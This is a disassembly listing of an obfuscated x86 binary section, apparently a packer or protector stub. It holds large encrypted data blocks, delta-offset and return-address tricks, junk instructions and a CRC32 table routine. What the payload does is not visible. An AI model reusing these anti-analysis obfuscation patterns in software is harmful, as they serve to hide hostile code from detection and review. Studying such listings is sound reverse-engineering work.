		dd 5CC4B7F7h, 0EF4B5930h, 8DF207B3h, 8979E82h, 0F9740AF9h
		dd 63C3BD5Fh, 6BBBC557h, 6DB1CB6Fh, 0FB2DCC60h,	228E2751h
		dd 56C2730Dh, 902DBFC1h, 0F371AD9Ch, 0B954E179h, 0DD4BCE2Ah
		dd 83CF63CFh, 0DD321292h, 41D612BBh, 0E21AD3Fh,	9D3F826Eh
		dd 4021FD7Fh, 305C2065h, 0E829D024h, 84318518h,	0A556h
		dd 0A04A6C00h, 0A435B0E0h, 58F771E4h, 2FB94FDDh, 15E00096h
		dd 69C175B3h, 14A4C35h,	0BF2F305Ch, 544D0517h, 0E0760CD0h
		dd 0ADAB811Ch, 68BCAAAEh, 4BF21EDAh, 3166368Eh,	1B084h
		dd 4A120000h, 4C08D4A6h, 4672D2A8h, 0D9D9C84Eh,	0C2305CC4h
		dd 7B021C0Dh, 0BB177F31h, 8F15E96Bh, 3E9B6BF9h,	0DB83731Ah
		dd 9EDE7337h, 42AE3C46h, 21BCC256h, 0D714B701h,	0F2B2E751h
		dd 0DB305C3Ah, 939F918Eh, 93117D50h, 895527CBh,	6CC865FBh
		dd 801AACCEh, 934786F5h, 0E83AE91h, 305C8E8Eh, 79FB2A86h
		dd 0A1891FA5h, 0A74AE65Ch, 19AA43D5h, 34742DF7h, 0DC305BE2h
		dd 1E5F37C6h, 790315B1h, 0C9637DB1h, 5C04D8D8h,	23A1F030h
		dd 0D7CDC1C3h, 0E19BBF1Bh, 0A7464E1Dh, 1ACC86Dh, 2BFB8597h
		dd 5F1D319Dh, 8135FD87h, 99310D6Fh, 0BA22D475h,	8F1AEA94h
		dd 8B783475h, 2D059B96h, 312A169Eh, 775084h, 4A720000h
		dd 2D4FE3A7h, 0E50B479Fh, 4C45019Bh, 92E80CC8h,	0A4F830B2h
		dd 57E07D29h, 0EA9F5837h, 0A647AB87h, 779BCF62h, 15AB3905h
		dd 8643EA83h, 0CA79C850h, 1C31636Eh, 0D8C88458h, 7B36C05Ah
		dd 305CB43Bh, 0CF63CFD5h, 0AA4D099Fh, 991B0AD2h, 8FF33F45h
		dd 0EAC32DEEh, 31238430h, 0A3000000h, 0F6A0E10Ah, 30F8E92Ah
		dd 0D5A74A92h, 0D2AA4D09h, 0DC7D9772h, 0FE770528h, 0D4A64A44h
		dd 0C53E9908h, 0FB1D305Ch, 0E03F8152h, 1BF8430h, 0B000000h
		dd 0ADAA44Ah, 72D2AC4Eh, 0A452FB1Dh, 8B671538h,	0FE77092Fh
		dd 39D2D560h, 729E4A67h, 220E9CDEh, 0E17BEC0Fh,	895A5A57h
		dd 0E8BA305Ch, 30EBA600h, 637B571h, 9E46409Ch, 4B5A027Ch
		dd 836F75C9h, 0FA7B0517h, 28C2BC5Eh, 71A3E39Eh,	376D2873h
		dd 0BCFEA7FBh, 49287371h, 0C862A647h, 879507AEh, 8FAD29F5h
		dd 3A5A11EDh, 0BEBB5193h, 3AD67F41h, 20BA48D2h,	0CDD4B895h
		dd 5098159Ah, 0AC0CF44Dh, 4C6A8C1Ah, 78000001h,	0A537A0B3h
		dd 0B599ADECh, 0AD3F6537h, 49580E21h, 0DB697BCBh, 51FB7E0Bh
		dd 0BA34E8D8h, 0DB7E9124h, 5FDDBD93h, 0D9735F93h, 90BA169Fh
		dd 0F6801EE6h, 72C5FBBBh, 0FD8F1528h, 72C60484h, 5A960C28h
		dd 42A2DC7Eh, 22E68789h, 0CB495808h, 41DB697Bh,	230F8D85h
		dd 0DF9B65DEh, 4ADB8C1Ah, 0EF000000h, 9B2DBAB3h, 0C84C4501h
		dd 5B5EFE3Dh, 0FB372765h, 5BC8AA0Ah, 0E4386AB0h, 5BC97D3Dh
		dd 0C5475FB0h, 0BDBF5D79h, 19C05461h, 0EB92B2D9h, 978E4FC0h
		dd 0C9206011h, 0B2F0B05Bh, 85FC8E1Ch, 305BC925h, 8738B5EFh
		dd 0A3h, 37A0B3DFh, 16960BA5h, 0FE305CC5h, 0C05A4CA4h
		dd 0E7880D04h, 0C1DFE89Ch, 0E89951E7h, 37B57BEDh, 4B07DFC5h
		dd 0C05ED7A1h, 0B488F204h, 44D6C22Eh, 6790150Ch, 758EA882h
		dd 0A0220290h, 454C3015h, 0DD73DAE1h, 0C6DF8701h, 0CE4FE46h
		dd 73BF607Dh, 18C1CB28h, 812C4EECh, 0DCD343EEh,	0C7C7BA03h
		dd 492872EAh, 3A37C25Bh, 661BAD43h, 306358D7h, 1AB3455Fh
		dd 5715B500h, 518D652Ah, 59A5D765h, 7F872626h, 57C042E6h
		dd 0F6422A50h, 1DAF383Bh, 7268D564h, 0AE475D28h, 0ABEBA630h
		dd 65189169h, 0B3D1F33Fh, 0ECA537A0h, 384D2C5Dh, 0EB95A72Fh
		dd 0BDA1891Bh, 99B31FE7h, 0CFB04DDFh, 99DB71B3h, 5DAE3F45h
		dd 8815DDA8h, 0DAA4B61Eh, 0B3EE780Ah, 286C92F3h, 0FAB871Dh
		dd 0D2B393EDh, 516DD32Bh, 25EF8EA2h, 6CC86517h,	6450ACCEh
		dd 2156AE2Ch, 0ED787E1Fh, 0C568795Ch, 0C0556FB7h, 62CE4444h
		dd 5BDAA4B6h, 0DD2153F9h, 86F61BC3h, 0F3CC24BEh, 0Fh, 0AD25413h
		dd 3AB99DE4h, 0DA21385Ch, 4ADEEC44h, 430FD7A1h,	5B77CFA9h
		dd 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h
		dd 6753B3CDh, 5E55A9D3h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h
		dd 6A0D68h, 243C8900h, 0C2568h,	24048900h, 36E9BE56h, 0BF577828h
		dd 3A134807h, 4855EF81h, 0E7C174C0h, 20EF8103h,	1DEFBB6h
		dd 0EE815FFEh, 351132F7h, 4B80C681h, 0D6F74864h, 0D194EE81h
		dd 0F78920F7h, 4EC815Eh, 89000000h, 4812424h, 424h, 81575800h
		dd 67E6242Ch, 408F4024h, 8408108h, 402467E6h, 582434FFh
		dd 4C481h, 3C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 9Bh,	30h, 39h
		dd 61247730h, 76777293h, 0F09C2AB8h, 0FFC50307h, 0A96685E0h
		dd 9D5BF32Ch, 0D0C9FB72h, 6AC68C15h, 11A0FD00h,	8C88984Eh
		dd 87535250h, 24648B35h, 376B9132h, 5AF7BB09h, 4AF77D76h
		dd 13FB6B12h, 17049E12h, 831D4E34h, 0F6492A58h,	5473025h
		dd 0DB579E79h, 0B9366527h, 50FFB720h, 0C6D52B4Dh, 19B96352h
		dd 10B8962h, 0E164504Ch, 548D8D6Ah, 6A07F09Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 4FD7C352h, 0A56DDB35h, 604DB0EDh, 2451BD89h,	0CE8B07E9h
		dd 0D8D8961h, 6A07E932h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F0D0C350h,	8A406011h
		dd 7D8D897Dh, 0C707E90Eh, 0E922E585h, 64D807h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 2ADD052Bh, 0FD8AAFEDh, 22B185C7h, 7E9h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F60973C3h, 77442952h, 29BCD408h, 0E92B7185h, 51B5FF07h
		dd 6A07E931h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0D9FDC352h, 0FE8h, 0B746C000h
		dd 2B902052h, 954E63BAh, 1949E529h, 28D0Fh, 7EB30000h
		dd 5E9605Eh, 0B0000000h, 14B7C8D6h, 8595FF61h, 6A07E922h
		dd 3195FF00h, 8B07E90Ch, 0D448EBC0h, 0B56EAFE7h, 0C5458B06h
		dd 0E4D8D781h, 1E78EE2Ah, 0BBC734EFh, 669E139Bh, 0C6AEC941h
		dd 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h, 3929B19Dh
		dd 5DF3674Fh, 470679A7h, 744FB07Fh, 8CA8019Eh, 4C069C78h
		dd 0EB3A71F7h, 16h, 4 dup(0)
		dd 94010100h, 0F0000000h, 0DE8B6607h, 12E890h, 0CB580000h
		dd 78AEE30Ch, 162E065Eh, 8DAF1CB0h, 0F0E81D7Dh,	310F5250h
		dd 13E9h, 0C7CE2400h, 0A3F34D25h, 184C216Eh, 652179h, 77106531h
		dd 505A585Ah, 6E9h, 8A597E00h, 90B616ACh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 41C35545h, 1EA4B554h
		dd 8B4C1263h, 0E92FC9BDh, 8A006A07h, 9CBB66EAh,	0E9006A08h
		dd 0Fh,	0B04A92E0h, 0C1C350A0h,	0E674D74Dh, 0FF641BDh
		dd 0B86h, 5800F00h, 0BB000000h,	32F29238h, 9FFD858Dh, 0BB6607F0h
		dd 85898CB6h, 7E90849h,	50DCB290h, 12E9h, 0AB23D400h, 0E89F1B7Dh
		dd 85651462h, 0C70E4A98h, 908F07E5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 49C35343h, 759D8B45h, 0E907E907h
		dd 0Eh,	187F1FDFh, 0A6513732h, 0E1D25029h, 6A20C3h, 0F1816660h
		dd 0CE9C357h, 52000000h, 14C88D90h, 0A2C39B4Bh,	61D1E415h
		dd 0B966006Ah, 95FFA7AEh, 7E90FB9h, 0A65ED181h,	0A8E9419Fh
		dd 29000005h, 0E92A5D85h, 0C59D2B07h, 0E807E91Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7F0A002h
		push	0
		push	ebx
		call	sub_5FDDCE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDDCE	proc near		; CODE XREF: sdfs____:005FDDC6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5FDDCE	endp

; ---------------------------------------------------------------------------
		jz	short loc_5FDE3E
		push	0FFFFFFC7h
		shr	dword ptr [ecx-7Fh], 93h
		clc
		mov	edx, [ebp+7E91689h]
		pusha
		push	ebx
		jge	$+6
		pop	ecx
		mov	[ebp+7E91F21h],	eax
		popa
		push	8AD8DF94h
		mov	edx, edi
		add	dword ptr [esp], 7527300Ch
		mov	[ebp+7E92671h],	eax
		sub	[ebp+7E91209h],	ecx
		call	dword ptr [ebp+7E90C31h]
		push	0
		push	edi
		call	sub_5FDE28
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDE28	proc near		; CODE XREF: sdfs____:005FDE20p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5FDE28	endp

; ---------------------------------------------------------------------------
		dd 8D281957h
; ---------------------------------------------------------------------------
		mov	ch, 0A3h


loc_5FDE3E:				; CODE XREF: sdfs____:005FDDDEj
		sahf
		lock pop es
		push	0
		push	ebp
		call	sub_5FDE4C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDE4C	proc near		; CODE XREF: sdfs____:005FDE44p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5FDE4C	endp

; ---------------------------------------------------------------------------
		dd 0A13CCE0Bh, 859AEE1Ch, 0BD9D8BC7h, 8907E917h, 0E918C98Dh
		dd 5206C707h, 6A6D6765h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4B83C352h, 3A9CACB8h
		dd 166DB210h, 6F0446C7h, 6A6C636Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3CA1C357h
		dd 846C722h, 737361h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 1Ah, 1EC35646h, 2C5003F7h,	8D8976A5h, 7E920B5h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 800A2AC3h, 858DF37Fh, 7F09EA3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CBC35242h, 0F827CD26h
		dd 50FB8B90h, 50605250h, 5A310F52h, 61EE8A58h, 5250310Fh
		dd 310F5B50h, 585A2DB7h, 0B990585Ah, 11020D56h,	264995FFh
		dd 880F07E9h, 2, 0C00BEC8Ah, 28840Fh, 0E9FC0000h, 3A8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 59C35747h
		dd 0F938A0C8h, 82686E32h, 0B65FC386h, 2434819Dh, 5FC387AEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6DC35747h
		dd 6C6BBB77h, 0D2B70F9Eh, 0C3195FFh, 0B96607E9h, 0B58D7C23h
		dd 7F09EA3h, 6880F60h, 9000000h, 0E9000DB5h, 819D8907h
		dd 6107E916h, 383106C7h, 6A3634h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 689A53C3h, 0ACF4BB66h
		dd 370446C7h, 6A31342Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 1A8BC355h, 9BED5E81h
		dd 9D23261Dh, 7E93121h,	846C7h,	51000000h, 6A5BDF8Bh, 0B5BF6600h
		dd 0A3858DA7h, 6A07F09Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 316FC356h, 0E9218D95h
		dd 850F5007h, 2, 489F88Ah, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0DA3D931Ah
		dd 4D1D4049h, 0CE9h, 89C0D300h,	0CE1A36C7h, 453465DDh
		dd 4995FF68h, 6A07E926h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 48A7C351h, 298D2E1Fh
		dd 0E90B99B5h, 0DF816607h, 0C00BF6D4h, 53840Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0A4EFCEC3h, 0B589EA88h, 7E9298Dh, 5139BA66h,	1F7E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B192C24h, 0E91C959Dh, 27C36807h, 8C0F5897h
		dd 0Ah,	505B5360h, 5A310F52h, 34816158h, 9726EF24h, 56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0BCEDF91Dh, 5FA95B9h, 8D8B6036h, 7E9185Dh, 0A992C181h
		dd 8B614B37h, 0E923758Dh, 3195FF07h, 6007E90Ch,	499589F8h
		dd 6107E912h, 9EA3B58Dh, 6A07F0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 3C2397C3h, 24C287A4h
		dd 2331EC82h, 0E91E0D9Dh, 4606C707h, 0E9656C69h, 0Ah, 4D4C64DCh
		dd 8B586D34h, 46C7D627h, 6E6F6D04h, 53006A63h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0D38168E1h
		dd 302E7B7Ch, 1CB59D33h, 46C707E9h, 73616C08h, 15BD2973h
		dd 0C707E920h, 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 6A9F1AC3h, 0B5952B00h
		dd 8907E91Eh, 0E92025B5h, 0A3858D07h, 6A07F09Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 4461C350h, 36BD8D6Fh, 0FB6FBA90h, 6650486Fh,	908410BBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D3C35545h
		dd 16AD8D29h, 0BD8B07E9h, 7E92A89h, 264995FFh, 0BD0307E9h
		dd 7E9071Dh, 10E9h, 56732000h, 6D142ACAh, 835ABC38h, 5EE80BBAh
		dd 0FC00B36h, 3284h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 51F274D3h, 0F241A19Bh
		dd 0E780F95Ch, 0DDF80CDh, 7E9h,	0E9D38B00h, 0FFFFFA97h
		dd 6E15B58Dh, 958907E9h, 7E924A5h, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0FF8942C0h, 8BCA8BE6h, 14E8C1h, 9CB30000h, 74BC1273h
		dd 8B982CF5h, 5FBDACE7h, 63E46FE5h, 0E953CC50h,	13h, 45EDF801h
		dd 94AC70F7h, 0ED1E4629h, 4B23345Bh, 5AF02E18h,	51958B5Bh
		dd 8107E925h, 7375C3h, 0F9BF6600h, 686Bh, 9E90000h, 55000000h
		dd 0E5154D5Fh, 4EB018ADh, 0BE959h, 0B7510000h, 662F2F7h
		dd 5F99C23Ah, 1934FFE1h, 0A800Fh, 820F0000h, 4,	4170B866h
		dd 0F681F55Eh, 1D89DF6Eh, 81C18B66h, 791BD8C6h,	5EE812Bh
		dd 0F1761C4h, 882h, 850B5300h, 7E92E5Dh, 0B348958h, 2CF08166h
		dd 0FBB70F23h, 6604E983h, 811E90BAh, 0FF8D40F9h, 0AA850FFFh
		dd 0E9FFFFFFh, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7F0A66Ah
		mov	eax, [esp+4]
		mov	[ebp+7E91E11h],	eax
		mov	eax, 0
		lea	ecx, [ebp+7E94D5Ah]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	loc_5FE487
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+7E934F9h]
		sub	edi, 4
		xor	ecx, ecx


loc_5FE458:				; CODE XREF: sdfs____:005FE47Fj
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
		mov	esi, 8


loc_5FE467:				; CODE XREF: sdfs____:005FE470j
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5FE467
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5FE458
		popa
		retn
; ---------------------------------------------------------------------------


loc_5FE487:				; CODE XREF: sdfs____:005FE447j
		mov	ecx, eax
		lea	ecx, [ebp+7F0A7B5h]
		push	0
		push	ebp
		call	sub_5FE49A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FE49A	proc near		; CODE XREF: sdfs____:005FE492p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5FE49A	endp

; ---------------------------------------------------------------------------
		dw 36D9h
		dd 99242FB4h, 0D8D89D9h, 6A07E932h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 55E9C357h
		dd 0E585C7F5h, 2C07E922h, 6A000075h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3EEC351h
		dd 2C71BD89h, 85C707E9h, 7E922B1h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E91FF5h]
		push	0
		push	eax
		call	sub_5FE51D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FE51D	proc near		; CODE XREF: sdfs____:005FE515p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5FE51D	endp

; ---------------------------------------------------------------------------
		jl	short loc_5FE54A
		cld
		db	36h
		mov	cl, 8Ch
		and	di, 6458h
		call	dword ptr [ebp+7E92285h]
		push	0
		push	ebx
		call	sub_5FE549
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FE549	proc near		; CODE XREF: sdfs____:005FE541p

arg_4		= dword	ptr  8

		pop	ebx


loc_5FE54A:				; CODE XREF: sdfs____:005FE52Dj
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5FE549	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F0h, 0BEh, 91h
		dd 9AFA68F0h, 0B8807469h, 23CEA19Eh, 95FF006Ah,	7E90C31h
		dd 78EBC08Bh, 0A5C16BDEh, 585E3289h, 0B16EF3E2h, 0A280B7D4h
		dd 6CF5B4E4h, 833A0180h, 93401FDAh, 0D1561823h,	44AC80E1h
		dd 0A1DAA5C8h, 2D3CFA52h, 968C1E17h, 0A11F41A4h, 0D573B59Dh
		dd 0FFFF45A5h, 0DE004CC9h, 8631A36Ch, 0B989DAFDh, 7BFC4E98h
		dd 0D9236251h, 4AAC1E37h, 0C6AAFF8Ah, 1D7E5D08h, 0D9D1FE6Bh
		dd 8A46F25h, 607E76DBh,	0E6D7EF37h, 21A87CEEh, 0E7626D86h
		dd 25FD735Dh, 87240CEBh, 3AD0351Ah, 183F171Dh, 76E98F0Bh
		dd 0E9000005h, 56Ah, 0E489EB00h, 5FD6A448h, 8C215BFDh
		dd 0C372F020h, 35B8BC51h, 31682A7h, 4958F479h, 698E2ACBh
		dd 18329E17h, 0F4AED75Eh, 6C1CFDBDh, 0A3E51728h, 8169EB3Bh
		dd 0D6A04A03h, 0D3AD420Eh, 0CE4E4773h, 280903Ch, 3BDEFA36h
		dd 3CD1FD41h, 0B8E8E438h, 48EEEA3Ah, 1738A436h,	65518D65h
		dd 8411ABD1h, 1BB4B8A3h, 93CF2BD1h, 0D6A64915h,	0BC4D4D44h
		dd 0DDC7305Ch, 4ADD5815h, 740614B0h, 0C8DE1AA8h, 4D1449D9h
		dd 0E5396B38h, 0B83547E9h, 0EF07972Eh, 38AC3A0Eh, 4832C4F0h
		dd 7B610DF4h, 56FA3ABFh, 0A1DB7DB7h, 49DE590Ch,	168B25BFh
		dd 0F5807B96h, 3DCC247Eh, 0FD70D4E9h, 0B54FD9CBh, 8FD3BCFCh
		dd 287854EDh, 80DC14AAh, 0D4592334h, 13A5D778h,	4EE3A74Bh
		dd 1C50982Eh, 0E4579565h, 9B42D6DDh, 24B6C669h,	0FEB69B8h
		dd 0DB4CEF82h, 3B815041h, 0F3B1E3FCh, 3B567213h, 60AD4BAh
		dd 84069F67h, 64829128h, 996B5890h, 0D5DFD3D5h,	7, 36B51EDh
		dd 4AF10000h, 4F0BDBA5h, 9945D7A9h, 0F12D0577h,	8143EA0Ah
		dd 35670E6Eh, 0BB8A5A22h, 67060AE0h, 43F28AADh,	0E40B3FD1h
		dd 0A43A4894h, 0A6247C58h, 8627295Eh, 38D2AC42h, 2B07859Ch
		dd 0B501DFA6h, 52E76B96h, 2234902Ah, 32FE8458h,	94140DAFh
		dd 96B49D1Dh, 9F2D77D4h, 0A85700Dh, 2FBFD8Ah, 6D2DC828h
		dd 0D119AFEAh, 5CE0319Dh, 7A233580h, 43D5574Eh,	0F48227AAh
		dd 5D95A985h, 0B6FF50h,	0B3070000h, 8FF107A6h, 29B25F9h
		dd 783B6936h, 0AA0EEA8Ah, 0DD7FF680h, 5F05463Bh, 0EE1C2412h
		dd 63FA8458h, 7F017334h, 0CCBD75C1h, 305CA9CCh,	0DC08B1D7h
		dd 2EB6403Ah, 1092720Ch, 2A7BD5D8h, 0B8610AAh, 305CAA8Bh
		dd 0FA821D7Ch, 0E9A5C9BDh, 97237FBBh, 0AE2BFB85h, 0F021E38Ah
		dd 3E57C16Ch, 0C76A66BEh, 163669B5h, 0E064BD77h, 14968E56h
		dd 0D267D1DCh, 668510AAh, 62FE7375h, 0D2324CEEh, 0BAF642D0h
		dd 8FB10D6Bh, 62173AEEh, 945DCA58h, 7DF0864Bh, 0E03C3CD3h
		dd 5C36A601h, 0C8B24430h, 0C6B45874h, 10B9537Eh, 218B74E5h
		dd 0CB5943DBh, 31F39AF6h, 73D75E1Eh, 0BDBA54Ah,	46D0A84Fh
		dd 2A06789Eh, 32DB25F6h, 84F618C4h, 0F64E2CC0h,	7F9004ECh
		dd 0A0D16BFDh, 305CC4E0h, 0C9B34430h, 93F2FF3Bh, 305CBFDCh
		dd 0E148B724h, 10AA8430h, 38FFFFFFh, 0A537A0B3h, 0AA41A508h
		dd 0DC14F20Eh, 8C1CD7CAh, 89A37B5h, 729834h, 4F29C36Dh
		dd 2E6E23BDh, 0E628738Bh, 9C3874BCh, 923E0684h,	9420FC7Eh
		dd 0AA26FE7Ch, 982AFA84h, 0DE1CBDC3h, 0C234D57Fh, 0AA86F01Ah
		dd 0F892EC0Eh, 0C972CC6Dh, 0CA9E608Bh, 2CBD4842h, 0FFC22EE6h
		dd 2B55E76Fh, 0E80DC9DBh, 0DA70A48Ch, 2DD4498h,	0F82872D1h
		dd 0FFDB2BA9h, 0DADC2758h, 5C7BB651h, 6B9576CEh, 256B30C2h
		dd 0C8AA4084h, 41DB925h, 4832C480h, 9602EEF4h, 9C2AFA84h
		dd 0D0B4DD01h, 41A951E9h, 841681ACh, 0CC9FBE0Dh, 0BDF48E2Fh
		dd 208A9FFDh, 0B9A58D17h, 4174AEBh, 7088F993h, 0BA287AF8h
		dd 3E06FF23h, 0E26A89E8h, 1EC22E48h, 3A6AF284h,	895964B8h
		dd 51759C4Bh, 87DB17A5h, 0D95424CBh, 0BEFEB34Dh, 56189A39h
		dd 1F30E44Ch, 5F07815Dh, 6C79C547h, 527E2DB9h, 46B240F2h
		dd 0ED98DB87h, 0EB92B22Ah, 0CF661639h, 0CCCCC55Fh, 44E5AE98h
		dd 225CFE5Eh, 31B3E2D6h, 2E4EE1EDh, 9620E6D6h, 0AE989B1Bh
		dd 0AF2F75E5h, 962CF088h, 4A97365Ah, 0CEDF0C7Ah, 0C4F4h
		dd 0A64ACE00h, 0B229E4D3h, 5C14BFFFh, 0BA535130h, 0F98FF59Bh
		dd 9D53EA74h, 0DF4D78A1h, 17399D55h, 346CC865h,	789D3FB6h
		dd 4EE26AFCh, 66D2D02Ch, 6414399Bh, 5C966D2Dh, 6FFDA730h
		dd 5BFC58C6h, 0E97F0117h, 0F87C9501h, 0DFE9D76Eh, 4140F4ACh
		dd 68FD9777h, 0DF9C068Bh, 0F6043813h, 2DB0780Eh, 610C6C83h
		dd 0DA5B2537h, 396D804Ch, 9D56BE9h, 0F61BBF7Bh,	87D9BE86h
		dd 8F5721CBh, 0D8D57498h, 54D3D3CEh, 673D305Ch,	95E309D5h
		dd 5C549C1Ch, 982E7430h, 90E20844h, 48A0364Ch, 9BCC2045h
		dd 64h,	0AF19760Fh, 7463A62Eh, 411A4CE1h, 0C028832Ah, 0C5DC78C2h
		dd 0DCA5EB47h, 305CC4D7h, 9C05A4A8h, 0D4A64A2Eh, 2759FF59h
		dd 46F2228Eh, 7270CC4Eh, 52E751DCh, 2234902Ah, 32FE8458h
		dd 8CE80DAFh, 35D985E1h, 0D6CFEB47h, 772AC456h,	305CC537h
		dd 626FCBD9h, 0D65F2136h, 0FA6D07Ah, 3B6h, 0F654C800h
		dd 0FD7A14Ah, 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h
		dd 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h, 572685Eh
		dd 3C890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 2434895Ch, 26FC68h, 24048900h, 0B1968h, 241C8900h, 3E5845BBh
		dd 5C38115h, 89F2B250h,	2F685BDEh, 89000009h, 4832424h
		dd 83580424h, 348904ECh, 24348124h, 6864FAAh, 8108408Fh
		dd 4FAA0870h, 34FF0686h, 0C4815824h, 4,	5124348Bh, 0C181E189h
		dd 4, 8704C183h, 0E95C240Ch, 0FFF8CE12h, 33B8908Ah, 307F0ADh
		dd 0E8D38BC5h, 0Ch, 877D7F2Ah, 0C8F03105h, 8654FC81h, 81CF8B5Bh
		dd 644EC3h, 0DE816600h,	68C79Bh, 80000000h, 0E85854C9h
		dd 0Ah,	0D144A311h, 2AD8BDA7h, 5FFC399Ah, 0E803148Bh, 0Dh
		dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 61FC6067h, 0F9C2815Eh
		dd 0E96CC1F6h, 13h, 0E7D0DBB2h,	3B2BEF9Bh, 0BEE73D4Eh
		dd 43840C5Eh, 81E1AD24h, 0D89014C2h, 0EF816665h, 0EA813395h
		dd 621DFF0Ah, 2314EF81h, 1489303Ah, 0BE66F803h,	0E883B750h
		dd 6CF88104h, 0FFFFF9Ch, 0E85h,	0C9B70F00h, 1DE9h, 0D293C100h
		dd 0F0DFBD2h, 8Eh, 0FF82E900h, 69B6FFFFh, 53B87838h, 883645A2h
		dd 9D8D227Ch, 7E92DD1h,	2490B8h, 99858900h, 0E807E90Ch
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_6010ED
; ---------------------------------------------------------------------------
		align 10h
		dd 923h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_6010ED:				; CODE XREF: sdfs____:005FEC58j
		jmp	loc_604573
; ---------------------------------------------------------------------------
		dw 0D972h
		dd 96BA169Fh, 49EF49E4h, 212BE37h, 0AE43ED80h, 70C927CEh
